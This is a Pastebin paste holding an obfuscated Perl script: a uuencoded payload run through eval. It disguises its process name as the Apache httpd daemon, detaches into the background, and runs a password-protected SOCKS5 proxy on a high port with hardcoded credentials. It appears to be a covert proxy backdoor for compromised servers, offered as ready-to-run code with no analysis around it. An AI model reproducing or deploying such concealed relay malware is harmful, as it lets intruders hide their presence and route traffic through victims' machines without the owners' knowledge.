Advertisement
Guest User

Untitled

a guest
Oct 18th, 2018
510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6.54 KB | None | 0 0
  1. #!/usr/bin/perl
  2. eval unpack u=>q{_"@IM>2`D9F%K97!R;V,@(#T@)R]U<W(O<V)I;B]H='1P9"<["FUY("1C:&EL9',@/2`P.PHD,#TB)&9A:V5P_<F]C(BXB7#`B>#$V.SL*;7D@)'!I9#UF;W)K.PIE>&ET(&EF("1P:60["F1I92`B($5R<F]R.B`D(2(@=6YL_97-S(&1E9FEN960H)'!I9"D["B1A=71H7V5N86)L960@/2`Q.R`*)&%U=&A?;&]G:6X@/2`B=&]M(CL@"B1A_=71H7W!A<W,@/2`B;38V-B([(`HD<&]R="`](#8S.3DY.R`*"G5S92!)3SHZ4V]C:V5T.CI)3D54.R`*"B13_24=[)T-(3$0G?2`]("=)1TY/4D4G.R`*)&)I;F0@/2!)3SHZ4V]C:V5T.CI)3D54+3YN97<H3&ES=&5N/3XQ_,"P@4F5U<V4]/C$L($QO8V%L4&]R=#T^)'!O<G0I(&]R("!D:64@(D-A;B=T(&)I;F0@<&]R="`D<&]R=%QN_(CL@"@IW:&EL92@D8VQI96YT(#T@)&)I;F0M/F%C8V5P="@I*2![(`H@)&-L:65N="T^875T;V9L=7-H*"D[_(`H*(&EF*&9O<FLH*2E[("1C;&EE;G0M/F-L;W-E*"D[('T@"B!E;'-E('L@)&)I;F0M/F-L;W-E*"D[(&YE_=U]C;&EE;G0H)&-L:65N="D[(&5X:70H*3L@?2`*?2`*"G-U8B!N97=?8VQI96YT('L@"B!L;V-A;"`D="P@_)&DL("1B=69F+"`D;W)D+"`D<W5C8V5S<SL@"B!L;V-A;"`D8VQI96YT(#T@)%];,%T[(`H@<WES<F5A9"@D_8VQI96YT+"`D8G5F9BP@,2D[(`H*(&EF*&]R9"@D8G5F9BD@/3T@-2D@>R`*("`@<WES<F5A9"@D8VQI96YT_+"`D8G5F9BP@,2D[(`H@("`D="`](&]R9"@D8G5F9BD[(`H*("`@=6YL97-S*'-Y<W)E860H)&-L:65N="P@_)&)U9F8L("1T*2`]/2`D="D@>R!R971U<FX[('T@"@H@("`D<W5C8V5S<R`](#`[(`H@("!F;W(H)&D@/2`P_.R`D:2`\("1T.R`D:2LK*2![(`H@("`@("1O<F0@/2!O<F0H<W5B<W1R*"1B=69F+"`D:2P@,2DI.R`*("`@_("!I9B@D;W)D(#T](#`@)B8@(21A=71H7V5N86)L960I('L@"B`@("`@("!S>7-W<FET92@D8VQI96YT+"`B_7'@P-5QX,#`B+"`R*3L@"B`@("`@("`D<W5C8V5S<RLK.R`*("`@("`@(&)R96%K.R`*("`@("!](`H@("`@_(&5L<VEF*"1O<F0@/3T@,B`F)B`D875T:%]E;F%B;&5D*2![(`H@("`@("`@=6YL97-S*&1O7V%U=&@H)&-L_:65N="DI>R!R971U<FX[('T@"B`@("`@("`D<W5C8V5S<RLK.R`*("`@("`@(&)R96%K.R`*("`@("!](`H@_("!](`H*("`@:68H)'-U8V-E<W,I('L@"B`@("`@)'0@/2!S>7-R96%D*"1C;&EE;G0L("1B=69F+"`S*3L@_"@H@("`@(&EF*'-U8G-T<B@D8G5F9BP@,"P@,2D@/3T@)UQX,#4G*2![(`H@("`@("`@:68H;W)D*'-U8G-T_<B@D8G5F9BP@,BP@,2DI(#T](#`I('L@(R!R97-E<G9E9"`*("`@("`@("`@*"1H;W-T+"`D<F%W7VAO<W0I_(#T@<V]C:W-?9V5T7VAO<W0H)&-L:65N="D[(`H@("`@("`@("!I9B@A)&AO<W0I('L@(')E='5R;CL@?2`*_("`@("`@("`@*"1P;W)T+"`D<F%W7W!O<G0I(#T@<V]C:W-?9V5T7W!O<G0H)&-L:65N="D[(`H@("`@("`@_("!I9B@A)'!O<G0I('L@<F5T=7)N.R!](`H@("`@("`@("`D;W)D(#T@;W)D*'-U8G-T<B@D8G5F9BP@,2P@_,2DI.R`*("`@("`@("`@)&)U9F8@/2`B7'@P-5QX,#!<>#`P(BXD<F%W7VAO<W0N)')A=U]P;W)T.R`*("`@_("`@("`@<WES=W)I=&4H)&-L:65N="P@)&)U9F8L(&QE;F=T:"@D8G5F9BDI.R`*("`@("`@("`@<V]C:W-?_9&\H)&]R9"P@)&-L:65N="P@)&AO<W0L("1P;W)T*3L@"B`@("`@("!](`H@("`@('T@"B`@('T@96QS92![_('-Y<W=R:71E*"1C;&EE;G0L(")<>#`U7'A&1B(L(#(I.R!].R`*('T@"B`D8VQI96YT+3YC;&]S92@I.R`*_?2`*"G-U8B!D;U]A=71H('L@"B!L;V-A;"`D8G5F9BP@)&QO9VEN+"`D<&%S<SL@"B!L;V-A;"`D8VQI96YT_(#T@)%];,%T[(`H*('-Y<W=R:71E*"1C;&EE;G0L(")<>#`U7'@P,B(L(#(I.R`*('-Y<W)E860H)&-L:65N_="P@)&)U9F8L(#$I.R`*"B!I9BAO<F0H)&)U9F8I(#T](#$I('L@"B`@('-Y<W)E860H)&-L:65N="P@)&)U_9F8L(#$I.R`*("`@<WES<F5A9"@D8VQI96YT+"`D;&]G:6XL(&]R9"@D8G5F9BDI.R`*("`@<WES<F5A9"@D_8VQI96YT+"`D8G5F9BP@,2D[(`H@("!S>7-R96%D*"1C;&EE;G0L("1P87-S+"!O<F0H)&)U9F8I*3L@"@H@_("!I9B@D;&]G:6X@97$@)&%U=&A?;&]G:6X@)B8@)'!A<W,@97$@)&%U=&A?<&%S<RD@>R`*("`@("!S>7-W_<FET92@D8VQI96YT+"`B7'@P-5QX,#`B+"`R*3L@"B`@("`@<F5T=7)N(#$[(`H@("!](&5L<V4@>R!S>7-W_<FET92@D8VQI96YT+"`B7'@P-5QX,#$B+"`R*3L@?2`*('T@"@H@)&-L:65N="T^8VQO<V4H*3L@"B!R971U_<FX@,#L@"GT@"@IS=6(@<V]C:W-?9V5T7VAO<W0@>R`*(&QO8V%L("1C;&EE;G0@/2`D7ULP73L@"B!L;V-A_;"`D="P@)&]R9"P@)')A=U]H;W-T.R`*(&QO8V%L("1H;W-T(#T@(B([(`H*('-Y<W)E860H)&-L:65N="P@_)'0L(#$I.R`*("1O<F0@/2!O<F0H)'0I.R`*(&EF*"1O<F0@/3T@,2D@>R`*("`@<WES<F5A9"@D8VQI96YT_+"`D<F%W7VAO<W0L(#0I.R`*("`@0&AO<W0@/2`D<F%W7VAO<W0@/7X@+R@N*2]G.R`*("`@)&AO<W0@/2!O_<F0H)&AO<W1;,%TI+B(N(BYO<F0H)&AO<W1;,5TI+B(N(BYO<F0H)&AO<W1;,ETI+B(N(BYO<F0H)&AO<W1;_,UTI.R`*('T@96QS:68H)&]R9"`]/2`S*2![(`H@("!S>7-R96%D*"1C;&EE;G0L("1R87=?:&]S="P@,2D[_(`H@("!S>7-R96%D*"1C;&EE;G0L("1H;W-T+"!O<F0H)')A=U]H;W-T*2D[(`H@("`D<F%W7VAO<W0@+CT@_)&AO<W0[(`H@?2!E;'-I9B@D;W)D(#T](#0I('L@"B`@("-I<'8V("T@;F]T('-U<'!O<G1E9"`*('T@"@H@_<F5T=7)N("@D:&]S="P@)'0N)')A=U]H;W-T*3L@"GT@"@IS=6(@<V]C:W-?9V5T7W!O<G0@>R`*(&QO8V%L_("1C;&EE;G0@/2`D7ULP73L@"B!L;V-A;"`D<F%W7W!O<G0L("1P;W)T.R`*('-Y<W)E860H)&-L:65N="P@_)')A=U]P;W)T+"`R*3L@"B`D<&]R="`](&]R9"AS=6)S='(H)')A=U]P;W)T+"`P+"`Q*2D@/#P@."!\(&]R_9"AS=6)S='(H)')A=U]P;W)T+"`Q+"`Q*2D[(`H@<F5T=7)N("@D<&]R="P@)')A=U]P;W)T*3L@"GT@"@IS_=6(@<V]C:W-?9&\@>R`*(&QO8V%L*"1T+"`D8VQI96YT+"`D:&]S="P@)'!O<G0I(#T@0%\[(`H*(&EF*"1T_(#T](#$I('L@<V]C:W-?8V]N;F5C="@D8VQI96YT+"`D:&]S="P@)'!O<G0I.R!](`H@96QS:68H)'0@/3T@_,BD@>R!S;V-K<U]B:6YD*"1C;&EE;G0L("1H;W-T+"`D<&]R="D[('T@"B!E;'-I9B@D="`]/2`S*2![('-O_8VMS7W5D<%]A<W-O8VEA=&4H)&-L:65N="P@)&AO<W0L("1P;W)T*3L@?2`*(&5L<V4@>R!R971U<FX@,#L@_?2`*"B!R971U<FX@,3L@"GT@"@HC('1H:7,@<&%R="!O9B!C;V1E('=A<R!T86ME;B!F<F]M(&1A=&%P:7!E_+G!L('5T:6QI='DL(`HC('=R:71T96X@8GD@0W545&5R("AC=71T97);871=<F5A;"YX86ME<"YR=2D@"B,@_=71I;&ET>2!L87ES(&]N(&-P86XN;W)G(`H*<W5B('-O8VMS7V-O;FYE8W0@>R`*(&UY*"1C;&EE;G0L("1H_;W-T+"`D<&]R="D@/2!`7SL@"B!M>2`D=&%R9V5T(#T@24\Z.E-O8VME=#HZ24Y%5"T^;F5W*%!E97)!9&1R_(#T^("1H;W-T+"!0965R4&]R="`]/B`D<&]R="P@4')O=&\@/3X@)W1C<"<L(%1Y<&4@/3X@4T]#2U]35%)%_04TI.R`*"B!U;FQE<W,H)'1A<F=E="D@>R!R971U<FX[('T@"@H@)'1A<F=E="T^875T;V9L=7-H*"D[(`H@_=VAI;&4H)&-L:65N="!\?"`D=&%R9V5T*2![(`H@("!M>2`D<FEN(#T@(B([(`H@("!V96,H)')I;BP@9FEL_96YO*"1C;&EE;G0I+"`Q*2`](#$@:68@)&-L:65N=#L@"B`@('9E8R@D<FEN+"!F:6QE;F\H)'1A<F=E="DL_(#$I(#T@,2!I9B`D=&%R9V5T.R`*("`@;7DH)')O=70L("1E;W5T*3L@"B`@('-E;&5C="@D<F]U="`]("1R_:6XL('5N9&5F+"`D96]U="`]("1R:6XL(#$R,"D[(`H@("!I9B`H(21R;W5T("`F)B`@(21E;W5T*2![(')E_='5R;CL@?2`*("`@;7D@)&-B=69F97(@/2`B(CL@"B`@(&UY("1T8G5F9F5R(#T@(B([(`H*("`@:68@*"1C_;&EE;G0@)B8@*'9E8R@D96]U="P@9FEL96YO*"1C;&EE;G0I+"`Q*2!\?"!V96,H)')O=70L(&9I;&5N;R@D_8VQI96YT*2P@,2DI*2![(`H@("`@(&UY("1R97-U;'0@/2!S>7-R96%D*"1C;&EE;G0L("1T8G5F9F5R+"`Q_,#(T*3L@"B`@("`@:68@*"%D969I;F5D*"1R97-U;'0I('Q\("$D<F5S=6QT*2![(')E='5R;CL@?2`*("`@_?2`*"B`@(&EF("@D=&%R9V5T("`F)B`@*'9E8R@D96]U="P@9FEL96YO*"1T87)G970I+"`Q*2`@?'P@=F5C_*"1R;W5T+"!F:6QE;F\H)'1A<F=E="DL(#$I*2D@>R`*("`@("!M>2`D<F5S=6QT(#T@<WES<F5A9"@D=&%R_9V5T+"`D8V)U9F9E<BP@,3`R-"D[(`H@("`@(&EF("@A9&5F:6YE9"@D<F5S=6QT*2!\?"`A)')E<W5L="D@_>R!R971U<FX[('T@"B`@("`@?2`*"B`@(&EF("@D9F@@("8F("`D=&)U9F9E<BD@>R!P<FEN="`D9F@@)'1B_=69F97([('T@"@H@("!W:&EL92`H;7D@)&QE;B`](&QE;F=T:"@D=&)U9F9E<BDI('L@"B`@("`@;7D@)')E_<R`]('-Y<W=R:71E*"1T87)G970L("1T8G5F9F5R+"`D;&5N*3L@"B`@("`@:68@*"1R97,@/B`P*2![("1T_8G5F9F5R(#T@<W5B<W1R*"1T8G5F9F5R+"`D<F5S*3L@?2!E;'-E('L@<F5T=7)N.R!](`H@("!](`H*("`@_=VAI;&4@*&UY("1L96X@/2!L96YG=&@H)&-B=69F97(I*2![(`H@("`@(&UY("1R97,@/2!S>7-W<FET92@D_8VQI96YT+"`D8V)U9F9E<BP@)&QE;BD[(`H@("`@(&EF("@D<F5S(#X@,"D@>R`D8V)U9F9E<B`]('-U8G-T_<B@D8V)U9F9E<BP@)')E<RD[('T@96QS92![(')E='5R;CL@?2`*("`@?2`*('T@"GT@"@IS=6(@<V]C:W-?_8FEN9"![(`H@;7DH)&-L:65N="P@)&AO<W0L("1P;W)T*2`]($!?.R`*(",@;F]T('-U<'!O<G1E9"`*?2`*_"G-U8B!S;V-K<U]U9'!?87-S;V-I871E('L@"B!M>2@D8VQI96YT+"`D:&]S="P@)'!O<G0I(#T@0%\[(`H@2(R!N;W0@<W5P<&]R=&5D(`I]}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement